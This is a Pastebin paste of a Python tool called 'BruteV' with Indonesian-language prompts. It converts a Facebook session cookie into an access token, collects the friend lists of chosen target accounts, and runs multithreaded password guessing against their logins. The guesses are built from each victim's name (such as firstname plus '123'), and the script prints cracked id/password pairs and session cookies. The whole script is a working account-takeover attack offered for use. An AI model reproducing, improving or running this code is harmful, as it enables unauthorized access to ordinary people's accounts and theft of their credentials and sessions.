Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- try:
- import os, sys, time, random, requests, re, json
- from concurrent.futures import ThreadPoolExecutor as run
- from bs4 import BeautifulSoup as parser
- from datetime import datetime
- except ImportError as e:exit("[Error] module is not installed, please type pip install -r requirement.txt")
- Banner = """
- \033[0;37m ____ __ _ __
- / __ )_______ __/ /____| | / / @_> BruteV By ZexDev4
- / __ / ___/ / / / __/ _ \ | / / @_> Version \033[0;32m0.1\033[0;37m
- / /_/ / / / /_/ / /_/ __/ |/ / @_> \033[0;32mgithub.com/ZexDev4\033[0;37m
- /_____/_/ \__,_/\__/\___/|___/ ----------------------
- """
- all_android = []
- list_ugen = open('samsung-unnamed_2.txt').read().splitlines()
- for sm in list_ugen:
- all_android.append(sm)
- class Login:
- def __init__(self):
- self.hitung = 0
- def waktu(self):
- now = datetime.now()
- hours = now.hour
- if 4 <= hours < 12:timenow = "Pagi "
- elif 12 <= hours < 15:timenow = "Siang"
- elif 15 <= hours < 18:timenow = "Sore"
- else:timenow = "Malam"
- return timenow
- # source convert cookie to token: https://github.com/Dapunta
- def Convert(self, coki):
- self.data = {}
- try:
- with requests.Session() as r:
- self.r = r.post(f'https://graph.facebook.com/v2.6/device/login?access_token=1348564698517390|007c0a9101b9e1c8ffab727666805038').json()
- self.user_code, self.code = self.r['user_code'], self.r['code']
- self.r1 = parser(r.get(f'https://m.facebook.com/device?user_code={self.user_code}', cookies = {'cookie':coki}).text,'html.parser')
- self.ls = ['fb_dtsg','jazoest','qr']
- for self.i in self.r1.find_all('input'):
- if self.i.get('name') in self.ls: self.data.update({self.i['name']:self.i['value']})
- self.data.update({'user_code':self.user_code})
- self.ul = self.r1.find('form', method='post')['action']
- self.r2 = parser(r.post('https://m.facebook.com' + self.ul, data=self.data, cookies = {'cookie':coki}).text,'html.parser')
- self.data.clear()
- for self.a in self.r2.find_all('input'):
- if self.a.get('name') == '__CANCEL__':pass
- else:self.data.update({self.a.get('name','submit'):self.a.get('value')})
- self.r3 = r.post('https://m.facebook.com' + self.r2.find('form', method='post')['action'], data=self.data, cookies = {'cookie':coki}).text
- self.r4 = r.post(f'https://graph.facebook.com/v2.6/device/login_status?access_token=1348564698517390|007c0a9101b9e1c8ffab727666805038&code={self.code}',cookies = {'cookie':coki}).json()['access_token']
- try:
- info = requests.get(f"https://graph.facebook.com/me?access_token={self.r4}", cookies = {"cookie": coki}).json()
- nama, id = info['name'], info['id']
- except KeyError:exit(f"\033[0;37m[\033[0;31m!\033[0;37m] Cookies anda sudah kadelwarsa")
- print (f"\033[0;37m[\033[0;32m√\033[0;37m] Halo \033[0;32m`{nama}`\033[0;37m, selamat {self.waktu()} >_")
- open(".config.json", "w").write(json.dumps({"cookie": f"{coki}", "token": f"{self.r4}"}))
- exit()
- except Exception as e:exit(f"\033[0;37m[\033[0;31m!\033[0;37m] Cookies anda sudah kadelwarsa",e)
- def Cookies(self):
- os.system('clear');print (Banner)
- self.Convert(input("\033[0;37m[\033[0;33m?\033[0;37m] Masukan Cookie Anda:\033[0;32m "))
- class GetTarget:
- def __init__(self):
- self.url, self.username = "https://graph.facebook.com/{}", []
- def Friend(self, user, cookie, token):
- try:
- for _ in requests.get(self.url.format(f'{user}?fields=id,name,friends&access_token={token}'), cookies = {'cookie':cookie}).json()['friends']['data']:
- self.username.append(f"{_['id']}|{_['name']}")
- sys.stdout.write(f"\r\033[0;37m[\033[0;32m+\033[0;37m] Sedang Mengumpulkan Target \033[0;32m{len(self.username)}\033[0;37m|\033[0;32m{_['id']}"),sys.stdout.flush()
- time.sleep(0.003)
- except:pass
- return self.username
- class BrutePass:
- def __init__(self):
- self.url = "https://m.facebook.com"
- self.loop, self.live, self.sesi = 0, 0, 0
- def SetPassword(self, username):
- UserRand, tpw = [], []
- for __ in username:
- xx = random.randint(0,len(username))
- UserRand.insert(xx,__)
- mpw = input(f"\n\033[0;37m[\033[0;33m?\033[0;37m] Inggin menambahkan password manual? \033[0;32mY\033[0;37m/\033[0;33mT\033[0;37m:\033[0;32m ")
- if mpw in ["y","Y"]:
- pwls = input(f"\033[0;37m[\033[0;32m+\033[0;37m] Example: \033[0;33mbandung,sayang\033[0;37m:\033[0;32m ").split(",")
- for lspw in pwls:
- tpw.append(lspw)
- print (f" \033[0;37m[ \033[0;32mTarget Bruteforce Process \033[0;37m]\n")
- with run(max_workers=30) as start:
- for ___ in UserRand:
- uid, fullname = ___.split("|")[0], ___.split("|")[1].lower()
- firstname = fullname.split(" ")[0]
- psswlist = []
- if len(fullname)<6:
- if len(firstname)<3:pass
- else:
- psswlist.append(fullname)
- psswlist.append(firstname+'123')
- psswlist.append(firstname+'12345')
- else:
- if len(firstname)<3:psswlist.append(fullname)
- else:
- psswlist.append(fullname)
- psswlist.append(firstname+'123')
- psswlist.append(firstname+'12345')
- if mpw in ["y","Y"]:
- for npw in tpw:
- psswlist.append(npw)
- start.submit(self.method, uid, psswlist, username)
- exit(f"\n\033[0;37m[\033[0;32m+\033[0;37m] Bruteforce selesai, Results Live:\033[0;32m{self.live} \033[0;37m- Check:\033[0;31m{self.sesi}")
- def method(self, user, paswd, total):
- session = requests.session()
- sys.stdout.write(f"\r\r\033[0;37m[\033[0;31m#\033[0;37m] \033[0;32mBruteV \033[0;37m{len(total)}/\033[0;37m{self.loop}, Live:\033[0;32m{self.live}\033[0;37m, Check:\033[0;33m{self.sesi}\033[0;37m, User-agent:\033[0;34m{len(all_android)}");sys.stdout.flush()
- ua = random.choice(all_android)
- for pw in paswd:
- try:
- head = {
- 'Host': 'm.facebook.com',
- 'cache-control': 'max-age=0',
- 'dpr': '1.5625',
- 'viewport-width': '980',
- 'sec-ch-ua': 'Google',
- 'sec-ch-ua-mobile': '?1',
- 'sec-ch-ua-platform': 'Android',
- 'upgrade-insecure-requests': '1',
- 'user-agent': ua,
- 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
- 'sec-fetch-site': 'none',
- 'sec-fetch-mode': 'navigate',
- 'sec-fetch-user': '?1',
- 'sec-fetch-dest': 'document',
- 'accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7',
- }
- params = {'uid': user,'flow': 'login_no_pin','next': '/creatorstudio/?reference=visit_from_seo','refsrc': 'deprecated','_rdr': '',}
- link = session.get('https://m.facebook.com/login/device-based/password/', params=params, headers=head)
- kuki = 'datr=ufhMZWEcSCUIHQitVBSZt5eD;'
- kuki+= ';'.join([key+'='+value for key, value in session.cookies.get_dict().items()])
- cookies = {'cookie': kuki}
- headers = {
- 'Host': 'm.facebook.com',
- 'cache-control': 'max-age=0',
- 'dpr': '1.5625',
- 'viewport-width': '980',
- 'sec-ch-ua': 'Google',
- 'sec-ch-ua-mobile': '?1',
- 'sec-ch-ua-platform': 'Android',
- 'upgrade-insecure-requests': '1',
- 'origin': 'https://m.facebook.com',
- 'content-type': 'application/x-www-form-urlencoded',
- 'user-agent': ua,
- 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
- 'sec-fetch-site': 'same-origin',
- 'sec-fetch-mode': 'navigate',
- 'sec-fetch-user': '?1',
- 'sec-fetch-dest': 'document',
- 'referer': 'https://m.facebook.com/login/device-based/password/?uid=100090093264629&flow=login_no_pin&next=%2Fcreatorstudio%2F%3Freference%3Dvisit_from_seo&refsrc=deprecated&_rdr',
- 'accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7',
- }
- data = {
- 'lsd': re.search('name="lsd" value="(.*?)"', str(link.text)).group(1),
- 'jazoest': re.search('name="jazoest" value="(.*?)"', str(link.text)).group(1),
- 'uid': user,
- 'next': 'https://m.facebook.com/login/save-device/',
- 'flow': 'login_no_pin',
- 'encpass': f'#PWD_BROWSER:0:{int(datetime.now().timestamp())}:{pw}',
- }
- params = {'shbl': '0',}
- resp = session.post('https://m.facebook.com/login/device-based/validate-password/',params=params,cookies=cookies,headers=headers,data=data)
- if "c_user" in session.cookies.get_dict():
- coki = (';'.join([key+'='+value for key, value in session.cookies.get_dict().items()]))
- print (f"\r\r \033[0;37m[\033[0;32m√\033[0;37m] Id/pw: \033[0;32m{user}\033[0;37m/\033[0;32m{pw}\n\033[0;32m{coki}\033[0;37m{ua}")
- self.live += 1
- break
- elif "checkpoint" in session.cookies.get_dict():
- print (f"\r\r \033[0;37m[\033[0;31mx\033[0;37m] Id/pw: \033[0;31m{user}\033[0;37m/\033[0;31m{pw} ")
- self.sesi += 1
- break
- else:continue
- except requests.exceptions.ConnectionError:time.sleep(31)
- except Exception as e:exit(e)
- self.loop += 1
- class MainMenu:
- def __init__(self):
- if os.path.isfile('.config.json') is True:
- self.account = json.loads(open(".config.json").read())
- try:
- info = requests.get(f"https://graph.facebook.com/me?access_token={self.account['token']}", cookies = {"cookie": self.account['cookie']}).json()
- self.nama, self.id = info['name'], info['id']
- except KeyError:print(f"\033[0;37m[\033[0;31m!\033[0;37m] Cookies anda sudah kadelwarsa");time.sleep(2);Login().Cookies()
- else:print(f"\033[0;37m[\033[0;31m!\033[0;37m] cookie tidak ada");time.sleep(2);Login().Cookies()
- def BruteV(self):
- os.system('clear');print (Banner)
- print (f"\033[0;37m[\033[0;34m@\033[0;37m] Full name: \033[0;32m{self.nama}")
- print (f"\033[0;37m[\033[0;34m@\033[0;37m] Userid : \033[0;32m{self.id}\n")
- print (f"\033[0;37m[\033[0;33m?\033[0;37m] Note : Jika ingin lebih dari 1 id bisa menggunakan 'id1,id2'")
- target = input(f"[\033[0;32m+\033[0;37m] Id Target:\033[0;37m ").split(",")
- for _ in target:
- results = GetTarget().Friend(_, self.account['cookie'], self.account['token'])
- if len(results) == 0:exit(f"\033[0;37m[\033[0;31m!\033[0;37m] Id Target private")
- print ()
- BrutePass().SetPassword(results)
- if __name__=='__main__':
- MainMenu().BruteV()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement